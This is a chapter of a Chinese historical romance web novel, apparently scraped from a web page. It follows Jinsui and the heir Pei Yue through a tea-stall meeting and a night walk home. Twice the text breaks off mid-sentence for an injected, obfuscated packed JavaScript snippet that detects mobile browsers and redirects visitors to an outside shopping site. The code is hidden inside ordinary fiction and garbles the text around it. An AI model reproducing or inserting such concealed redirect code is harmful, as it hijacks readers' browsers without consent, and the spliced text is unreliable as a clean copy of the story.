四人面面相觑一阵后,都在茶摊的方桌旁坐下,街边简陋的方桌和长凳,坐着四个身份各异的人。 裴樾坐在面朝医馆的方向,左手边是江锦初,右手边挨着今穗,对边坐着孟织筠。 茶摊的伙计给另外三人都倒了一杯煎茶汤,他一边倒茶一边在心里嘀咕:他们这小茶摊今儿是怎么了,来了一桌俊男美女不说,而且个个看起来都像是非富即贵的大人物。 见茶桌上气氛有些僵硬,江锦初试探着开口缓解气氛:“好巧啊……原来大家都喜欢来茶摊喝茶……” 茶桌上还是诡异的安静,直到这时孟织筠才终于反应过来,对着江锦初杏眼圆瞪:“锦初你……莫不是跟踪我来此?” 江锦初赶紧矢口否认:“绝对没有的事!是裴樾非拉着我出来逛,他口渴了就在坐这茶摊喝口茶,没想到这么巧就碰上了你们……” 他越说越没有底气,裴樾听他胡编乱造了一通,冷笑一声没有说话。 今穗眨巴着双眼观察局势,通过他们的反应也猜测出发生了什么。 她一脸发现了惊天大秘密的模样,兴奋地说道:“我知道了!织筠姐姐来医馆找我,江小侯爷不放心就跟着过来,结果大家都凑巧碰面了。” “准确点说,锦初是跟踪孟小姐准备抓情郎的。”裴樾毫不留情地补充道。 这下完了。 江锦初心里悔恨不已,他知道孟织筠最不喜他的地方就是太过黏人,因为她总说每个人都有自己的事情要做,即使相爱之人也不必时时刻刻待在一起。 可是,他已经在尽力克制自己了。 这下她估计要生大气。 孟织筠确实很气愤,一向端庄内敛的她表情险些绷不住,但出于自己十余年的大家闺秀教养,她还是抑制住了自己的怒气。 她扭过脸,不去看江锦初。 江锦初此刻也是追悔莫及,他看着孟织筠撇过去的侧脸,想开口解释,但又觉得自己的所作所为确实没什么好辩解的。 见他们二人闹了别扭,今穗也适时出声转移众人的注意力。 “织筠姐姐,你今日来找我是有何事?”今穗拉着孟织筠攥紧的双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019249|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 今穗不说她都差点忘了此行的目的,简直是被江锦初这个混蛋气昏了头,她又回头微微瞪了某个混蛋一眼。 “上回为长宁医牙,近来也有了起色。只是她毕竟还只是个孩子,看着她那般想吃甜食的模样,我就……”提起这个事,孟织筠又不免忧伤起来,“我就有点于心不忍,上次吃了你做的梅子姜很是不错,想来你对蜜饯一类的甜食颇有研究,所以就来问问你有没有两全其美之法。” 另外两人听了也都陷入了沉默,原来她是为了这事找的今穗。 特别是江锦初,真是恨不得立马抽自己两巴掌,恨自己不争气又惹阿筠生气了。 然而,孟织筠的这番话对今穗来说简直是柳暗花明又一村。 蜜煎局前脚刚被取消向郡主献礼的资格,她正发着愁,孟织筠就找上门来了。 今穗忍不住低头憋笑。 另外三人见状都一脸疑惑地看向她,今穗坦诚地把今日所发生之事和盘托出。 她仿佛瞬间化身成茶楼里的说书先生,手边就差一块抚尺,在故事的高潮之处“啪”的拍一下桌子。 整个事情精彩到让在座的三位听众瞠目结舌,连茶摊的小二都听入了迷,给客人倒的茶溢出了茶杯都没发觉。 “这种事……也太匪夷所思了。”孟织筠从小就在孟老夫人身边娇养长大,与其他几房毫无交集,哪里见过栽赃陷害这种见不得人的手段。 “所以说啊,你问我有没有两全其美之法可算是问对人了,我正愁自己精心研制的茶荔簪雪没机会献给郡主呢。”今穗语气里是掩饰不住的开心。 “茶荔簪雪?这名字倒是有趣。”裴樾反复品味这四个字。 “是一位朋友为我这道点心取的名字,细细想来真是恰如其分。” “听你这么说,我都有点好奇这道茶荔簪雪究竟是何味道。”裴樾一向对甜食一类的没什么兴趣,现下却对今穗的这道点心充满期待,“不知到时姑娘可否赏脸留一份给裴某,让我也一饱口福。” “自然是可以的。”今穗微微低头,犹豫了一会还是对裴樾对自己一口一个“姑娘”的称呼感到别扭:“世子唤我今穗即可。” “哦?”裴樾似是终于逮到了机会,“姑娘都不曾唤我裴樾,我自然是不敢冒犯姑娘,直呼姑娘全名。” 今穗被裴樾说得这番话刺得如坐针毡。 江锦初见茶桌上的气氛不对劲,也不管孟织筠是不是还在生气,就厚着脸皮过去扒拉她:“阿筠我知道错了,咱们回家之后怎么罚我都行,好不好。” 孟织筠见江锦初这个没脸没皮的模样,在人来人往的街道上也不好久留,侧头向今穗简单道别后就快速离开了,江锦初也很快跟上来。 但孟织筠还在气头上,还是不想搭理他,她就加快脚步。 灯火通明、人流如织的长街上,她在前面快步走,他在后面锲而不舍地追。 26. 心跳如鼓 那二人走后,茶桌上只剩下今穗和裴樾。 他们刚刚还在为称呼一事各抒己见,却又因为这个小插曲气氛冷了下来。 今穗刚想端起茶杯喝个茶显得自己有事做的样子,却发现自己面前的煎茶汤早已凉透了,根本无法入口。 她这才发现,刚回来时天色还是将暗未暗,现下已彻底黑透了,街边也变得嘈杂热闹起来。 她竟然和这位金尊玉贵的世子在街边的简陋茶摊上坐了这么久。 此地不宜久留,毕竟这小二也三五不时地向他们这边投来奇怪的目光。 今穗鼓足勇气开口:“世子,这天色已晚,茶也凉了,我看不如就各自回去吧。” “也好。”听到这两个字,今穗瞬间松了一口气,正准备起身离开就听见裴樾又说道:“不过裴某不识路,现下已入夜更不知该如何回国公府了,姑娘既去过应当是识得的,不知可否劳烦姑娘为裴某引路,裴某在这先谢过姑娘。” 今穗听完裴樾说的话简直头皮发麻,他的话让人觉得既客气又亲密,裴樾措辞上虽是客气疏离的,说的话却是大言不惭地让她一个姑娘在夜里送他回家。 她也不好拒绝,只能硬着头皮答应。万一他真的不识路,难不成就这样把他放在路边等有缘人捡走? 二人并肩走在路上。 走到高头街,路上人潮涌动,挤得二人不得不离得越来越近。 街边摊贩的吆喝声和叫卖声不绝于耳,周围的环境很喧闹,但他们之间似乎安静到能听见彼此的心跳声。 他们路过一个首饰摊,摊子上摆着琳琅满目的漂亮首饰。 摊主见裴樾的目光停留在摊子上,就热情地开口招呼着他们:“二位看看吧,都是东京城当下时兴的样式,有几款你们在别处都买不到呢。” 裴樾像是被摊主说动了的样子,他忽然想起江锦初似乎说过和女孩子一同逛街要主动给她买东西。 他们这样……应该算是逛街吧。 但是他又不清楚今穗喜欢什么,就指着首饰摊略微有些僵硬地开口问道:“你……喜欢这些吗?我买给你吧。” 今穗回头一看,毫不犹豫地连连摆手拒绝。 国公府世子给自己买首饰,想想都觉得可怕。 裴樾见今穗果断拒绝了,又想起江锦初说过给女孩子买东西,她们一般都会矜持地婉拒,并不是真的不要。 情况好像跟江锦初说得一样,看来他还是有点用的,裴樾心里想。 因此他决定直接买了,十分阔气地对首饰摊的摊主说:“全都包下来。” 摊主瞬间两眼放光。 今穗惊讶地瞪大双眼,身旁的裴樾满脸写着“我是冤大头”这五个字,她着急地向摊主摆手:“不用不用,我们不要。” 说完趁大家都没反应过来,她就拉着裴樾一头扎进了人群中。 小跑了一阵他们才停下来。 “无功不受禄,世子不必送我这些,况且我平日也不戴首饰一类的。”今穗气喘吁吁地说道。 裴樾仔细一想今穗说的确实没错,几次见到她都是挽着一个简单的发髻,没有任何多余的装饰。 但是在裴樾的心里,今穗的模样,淡妆浓抹总相宜。 恰如此时,头顶的月光和街边昏黄的烛火都不偏不倚地为眼前的姑娘作配。 “姑娘曾经救过我一命,今晚又送裴某回府,怎么能说是无功不受禄。”裴樾有些不同意她说法,“这么说来,裴某还须再接再厉回报姑娘的恩情。” 裴樾的神情一下子就变得格外认真。 每次一提到报恩,裴樾就显得特别执拗,今穗也略显无奈。 她摆摆手不愿再继续这个话题,裴樾也只好乖乖闭嘴,安静地跟在她身后往国公府走。 她在前面走,他在后面亦步亦趋地跟着。 今穗的长发披在身后,走路间微微晃动,但是每走一步,这青丝都像是扫在他的心上。 让人心痒难耐。 裴樾盯着她的后背出了神,此刻他多么希望,回府的路能长一点,再长一点。 二人又沉默着走了一会。 他们又走到了一条热闹非凡的街道。 东京的夜晚总是格外得喧闹。 长街之上有孩童在追逐玩耍,大人在后面追着也管不住顽皮的孩童。 然而,有个孩子不管不顾地奔跑着也不看路,竟差点迎面撞上了今穗。 裴樾眼疾手快,伸手轻轻一揽,就轻而易举地将今穗带到一旁,避免了被玩闹的孩童撞到。 她竟这样轻。 这差点撞到人的孩子圆头圆脑的,看着都要比今穗重上许多。 大人终于追上来将孩子抱走了。 今穗仍心有余悸。 但是刚刚那一瞬间,隔着薄薄的布料,她能感到腰间的肌肤突然变得异常炙热,然而还不等她仔细感受,裴樾就迅速收回了手,丝毫不逾矩。 不知是因为差点被撞到,还是因为那一瞬间的炙热,今穗的脸颊逐渐在燥热的夏夜里变得发烫。 “冒犯了姑娘。”裴樾立马为刚刚短暂的冒犯之举道歉。 今穗低着头小声回道:“没事,多谢世子出手。” 她说完就不管不顾地一个劲闷头往前走,步伐越来越快,裴樾在后面也不得不加快脚步。 剩下的路程很快就走完了。 到了国公府门前,今穗准备告辞完就离开,却又被裴樾叫住了。 “姑娘,不如……我送你回去吧。”裴樾也搞不清楚自己在说些什么。 “这样送来送去未免太过麻烦,世子留步吧。”今穗想都不想就拒绝了。 “那给姑娘安排马车回去,夜深了姑娘一个人回去总归不安全。”裴樾突然有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019250|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些后悔他先前让今穗为他引路的提议了。 虽然这样他们有了更多相处的机会,但这下留她一个人回去他更是不放心。 好在这下今穗没有拒绝。 裴樾唤游默牵来马车,目送着她上了马车,眼眸中多了些自己都未察觉的依依不舍。 车轱辘慢慢转起来,马车在缓缓移动,裴樾盯着马车的背影还是不愿离开。 谁知这时,今穗突然掀起马车的帘子,微微探出头,对着还傻站着的裴樾挥手:“再见裴樾!” 裴樾完全没反应过来,还傻愣愣地站着,手却不自觉地抬起来也向她挥手。 “再见今穗。”裴樾低声回应道。 此刻马车已走出了很远。 直到马车完全消失在夜色里,裴樾才在游默地劝说下回府。 今穗坐在疾行的马车上,心跳如鼓。 她回到家之后发现乔逊已经睡下了,她就轻手轻脚地回了自己的卧房。 自今穗进入四司六局当差,她就三天两头地晚归,乔逊已然习惯,一开始还会坚持等她回来再睡下,后来在今穗的再三劝说下,他也就不再等了。 今穗现在非常庆幸,若是爹看到她这两颊通红的模样,定是要仔仔细细关切她一番。 她洗漱一番就赶紧躺回床榻休息。 今日的经历了太多的事情,今穗此刻简直身心俱疲。 她躺在床上平静下来,虽疲惫却又没有立马睡去。今夜倒是安静得很,外面的蝉鸣没有过分吵闹,倒是衬得她心里闹腾得过分。 今穗有些睡不着,那个场景似乎一遍又一遍地在她脑海中清晰地浮现。 人声鼎沸的长街上,裴樾猝不及防将她半揽在怀中,瞬间隔绝了世间所有的喧嚣。 虽仅仅那么一瞬,但这个场景被她在心里描摹了许多次,愈发清楚深邃。 与此同时,裴国公府落雁居内,某人也是辗转反侧睡不着觉。 守在门口的游默听着屋内的动静,打了个哈欠后忍不住问道:“世子睡不着吗?可是有心事?” 本来平日里裴樾都懒得搭理游默的一些问题,今日却罕见地回应了:“嗯。” “可是为了今穗姑娘?”游默接着问道。 “你怎么知道她的名字,我似乎从未与你说过。”裴樾皱眉。 游默嘿嘿一笑:“小的跟在世子身边伺候,自然得眼观六路耳听八方。” 裴樾无言。 “今穗于我有巨大的恩情,我得想办法报答与她。” “小的明白,世子自然有世子的报恩方式。”游默言语间意味不明。 裴樾听着游默的话总觉着不对劲,但又说不上来哪里不对。 他翻了个身,不理会游默努力睡去。 —— 自那夜之后,二人就未有机会再见面。 直到生辰宴当日。